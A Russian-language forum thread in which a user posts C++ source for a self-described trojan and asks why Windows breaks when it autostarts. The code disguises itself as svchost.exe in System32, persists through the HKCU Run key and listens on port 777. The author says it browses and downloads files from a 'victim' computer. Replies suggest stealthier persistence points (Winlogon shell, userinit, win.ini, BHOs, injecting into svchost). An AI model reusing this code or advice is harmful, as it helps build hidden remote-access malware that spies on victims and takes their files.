Автозагрузка моей программы с Windows
Программа сразу после своего запуска запускает дополнительный поток, который каждую секунду пытается удалить один файл (не системный - просто файл), а в основном потоке программа открывает сокет и ставит его в режим прослушивания соединений.
Так вот, после установки этой программы система очень долго загружается и половина служб уже не работают, что жестоко портит винду. Даже после удаления программы из автозагрузки система тормозит по прежнему. Не знаю, что и делать...
При загрузке моей программы из реестра (HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\) вся винда начинает жестоко глючить. И не совсем понятно, почему.
Можно более конкретное описание проблемы? Что за глюки, какие службы отказали, что записано с системных журналах регистрации событий Windows, что дают попытки запустить вручную отказавшие службы, какая ОС и т.д.? Вообще это надо бы в "Операционные системы".
Можно более конкретное описание проблемы? Что за глюки, какие службы отказали, что записано с системных журналах регистрации событий Windows, что дают попытки запустить вручную отказавшие службы, какая ОС и т.д.? Вообще это надо бы в "Операционные системы".
У меня была Windows 2000, затем я поставил себе Windows XP SP2, но в ней такая же проблема (зато мне удалось достаточно просто восстановить винду при помощи утилиты восстановления системы). Какие конкретно службы не стартуют - не понятно, каждый раз разные. У меня подозрение, что винда так себя ведет потому что моя программа не создает главного окна, куда винда могла бы слать свои сообщения. Вот она и ждет, пока я создам это окно и не дожидается. Сегодня я буду пробовать ставить в автозапуск программы, которые создают главное окно, консольные приложения. Напишу сюда, когда что-нибудь получится :)
А вообще, выложи сюда ее код (хотя бы самую основную часть), тогда будет легче найти ошибку...
А ты уверен, что программа создает всего 1 поток, а не создает новый поток каждую секунду?
А вообще, выложи сюда ее код (хотя бы самую основную часть), тогда будет легче найти ошибку...
Вот то, что содержится в главном файле программы:
#include <iostream>
#include <vector>
#include "server.h"
#include "commands.h"
#include "common.h"
#include "strlist.h"
#include "shlwapi.h"
#include "resource.h"
using namespace std;
using namespace PUSHKIN_SERVER;
#pragma comment(lib, "shlwapi.lib") // Для PathFileExists
// Поток, пытающийся удалить программу обновления сервера
DWORD WINAPI DeleteSU(LPVOID pParam)
{
// Проверяем, существует ли файл
if (!PathFileExists("su.exe")) return 0;
// Сто раз попытаемся удалить этот файл (раз в пол секунды)
for (int i=0; i<100; i++)
{
// Специально для Windows 98 мы запускаем эту процедуру много-много раз подряд
// чтоб убедиться, что файл действительно удален
DeleteFile("su.exe");
if (!PathFileExists("su.exe")) break; // Если файла уже нет, то выходим из цикла
Sleep(500); // Будем пытаться это сделать каждую секунду
}
return 0;
}
// Функция, регистрирующая сервер на компьютере жертвы
// (конечно, если он еще не зарегистрирован)
int RegisterServer(const char *path_exe, int &b_restart_server)
{
b_restart_server = 0;
char buf[1024];
char new_server_path[1024]; // Новый рабочий каталог сервера
if (!GetSystemDirectory(buf, 1024)) return P_ERROR; // Ошибка при получении директория с системой
// Создаем каталог для нашего трояна (на всякий случай ему понадобится отдельный каталог
strcat(buf, "\\svchost");
if (!PathFileExists(buf))
if (!CreateDirectory(buf, NULL)) return P_ERROR;
strcpy(new_server_path, buf);
strcat(buf, "\\svchost.exe");
// Если сервер был запущен не из папки SYSTEM32, то инициируем процедуру перезапуска сервера
// перезапуск будет происходить сразу же
if (strcmp(path_exe, buf) != 0) b_restart_server = 1;
// Копируем себя туда
if (!CopyFile(path_exe, buf, FALSE)) return P_ERROR;
// Регистрируем программу
HKEY key;
if (RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", &key) != ERROR_SUCCESS)
return P_ERROR;
// Устанавливаем новое значение ключа для автозагрузки трояна
RegSetValueEx(key, "svchost.p", 0, REG_SZ, (LPBYTE)buf, (DWORD)strlen(buf)+1);
RegCloseKey(key);
// Теперь все подготовлено для возможного перезапуска сервера
// - запускаем процесс перезапуска сервера
if (b_restart_server)
{
// Выгружаем на диск программу перезапуска сервера - в место, откуда будет запускаться сервер
if (CreateSU((String)new_server_path + "\\su.exe") != P_YES) return P_ERROR;
// Запускаем программу из того места
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
// Запускаем программу обновления сервера
if( !CreateProcess( NULL, (LPSTR)(const char*)((String)new_server_path + "\\su.exe restart svchost.exe"), // Command line.
NULL, // Process handle not inheritable.
NULL, // Thread handle not inheritable.
FALSE, // Set handle inheritance to FALSE.
0, // No creation flags.
NULL, // Use parent's environment block.
new_server_path, // Use parent's starting directory.
&si, // Pointer to STARTUPINFO structure.
&pi ) ) // Pointer to PROCESS_INFORMATION structure.
return P_ERROR;
}
return P_YES;
}
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmdLine, int nCmdShow)
{
char buf[1024];
GetModuleFileName(hInst, buf, 1024);
// Затем пытаемся записать себя в автозапуск
// (если надо, то сервер перезапускается из нового места) (прямо там)
int b_restart_server = 0;
RegisterServer(buf, b_restart_server);
if (b_restart_server) return 0; // Выходим из этого экземпляра сервера, если его надо перезапустить
CPushkinServer serv;
// Сразу после запуска сервера пытаемся удалить программу перезапуска сервера
HANDLE hThread = CreateThread(NULL, 0, DeleteSU, NULL, 0, NULL);
// Инициализируем сервер
if (serv.Init(777) != P_YES)
{
cout << "Error starting server!" << endl;
return 0;
}
// Запускаем цикл обработки клиентов
if (serv.Run() != P_YES)
{
cout << "Error running server!" << endl;
return 0;
}
return 0;
}
To pacific_7, XXXX Pro: Спасибо за внимание к теме
Оказывается, дело было как всегда не в бобине... :) Я свою программу просто назва svchost.exe. Винда просто сама пару процессов с таким именем держит, вот она и не восприняла этот. Как только я переименовал программу в svchvost.exe все прекрасно завелось :)
:D Бросай трояны писать. Кстати, место для автозагрузки ты выбрал слишком "попсовое" - быстро вычислят.
От наличия - отсутствия окна это совершенно не зависит. Все работает замечательно и без окна.
:D Бросай трояны писать. Кстати, место для автозагрузки ты выбрал слишком "попсовое" - быстро вычислят.
Это мой первый опыт работы с сокетами - ничего другого в голову не пришло писать, кроме маленького троянчика с возможностью обновления на лету :D
Я, конечно, понимаю, что это самое "лоховое" место, откуда можно запускать троян. Но, если это делать из реестра, то мест, вроде как, не много таких (Секции Run и RunOnce). Потом, можно троян запускать из win.ini как-то. Есть вариант - установить троян в системе как службу (Servive), но я пока не знаю, как это делать. И еще - можно попробовать его переписать при помощи Microsoft DDK чтоб он работал как драйвер коврика мыши, но это дополнительный гемор.
Короче, я пока ограничусь секциями Run в реестре. Мой троянчик ведь пока мало чего умеет - смотреть и скачивать файлы с компьютера жертвы, показывать номер своей версии, обновляться и сразу же автоматически перезапускаться и все на этом :)
Ты юзаешь сокеты на чем? WinSock?
З.Ы: Pacific_7 : откуда можно еще грузить прогу? pls
Еще троян можно встроить в этот самый SVCHost.exe
Ты юзаешь сокеты на чем? WinSock?
Я использую практически только функции Беркли из winsock2.h (send, recv, accept, listen,...)
Я использую практически только функции Беркли из winsock2.h (send, recv, accept, listen,...)
Если это не секрет(хотя похоже Pacific_7 его раскрыл )) ), то кинь pls на мыло [email]mailme@smtp.ru[/email] или сюда этот код
Еще троян можно встроить в этот самый SVCHost.exe
Ты юзаешь сокеты на чем? WinSock?
А что можно еще предложить? Лично я для винды альтернативы не вижу.
З.Ы: Pacific_7 : откуда можно еще грузить прогу? pls
ЛЯНТЯИ! Хотят все на блюдечке. Так не выйдет :) Подскажу: можно в winlogon'е - дописать переменную shell, можно userinit подменить, можно найти параметры run и load находящиеся так же в реестре в подразделе windows (не скажу какой ветви), не следует забывать о BHO IE.
А вообще, поищи по форуму - не так давно была тема связанная с автозагрузкой, кажется в "общих вопросах". Там как раз почти все и расписано.
ЗЫ: папка "Автозагрузка" ;)
ЗЫЗЫ: Да пребудет с вами google.com
А что можно еще предложить? Лично я для винды альтернативы не вижу.
ЛЯНТЯИ! Хотят все на блюдечке. Так не выйдет :) Подскажу: можно в winlogon'е - дописать переменную shell, можно userinit подменить, можно найти параметры run и load находящиеся так же в реестре в подразделе windows (не скажу какой ветви), не следует забывать о BHO IE.
А вообще, поищи по форуму - не так давно была тема связанная с автозагрузкой, кажется в "общих вопросах". Там как раз почти все и расписано.
ЗЫ: папка "Автозагрузка" ;)
ЗЫЗЫ: Да пребудет с вами google.com
Автозагрузка и Run я уже знал
За все это thx, только что такое ВНО? Ты букв не пропустил? ))
Автозагрузка и Run
А ты ничего не путаешь? Не Run - подраздел, что в CurrentVersion, а run - параметр в подразделе windows ;)
только что такое ВНО? Ты букв не пропустил? ))
Шагом марш в гугл! Набираем "BHO IE объекты" и читаем то, что найдем. Буквы BHO - английские.
ЗЫ: пошел я спать, ищите сами.
А ты ничего не путаешь? Не Run - подраздел, что в CurrentVersion, а run - параметр в подразделе windows ;)
Шагом марш в гугл! Набираем "BHO IE объекты" и читаем то, что найдем. Буквы BHO - английские.
ЗЫ: пошел я спать, ищите сами
Да блин.... Ночной житель.... Да еще у Черного моря ))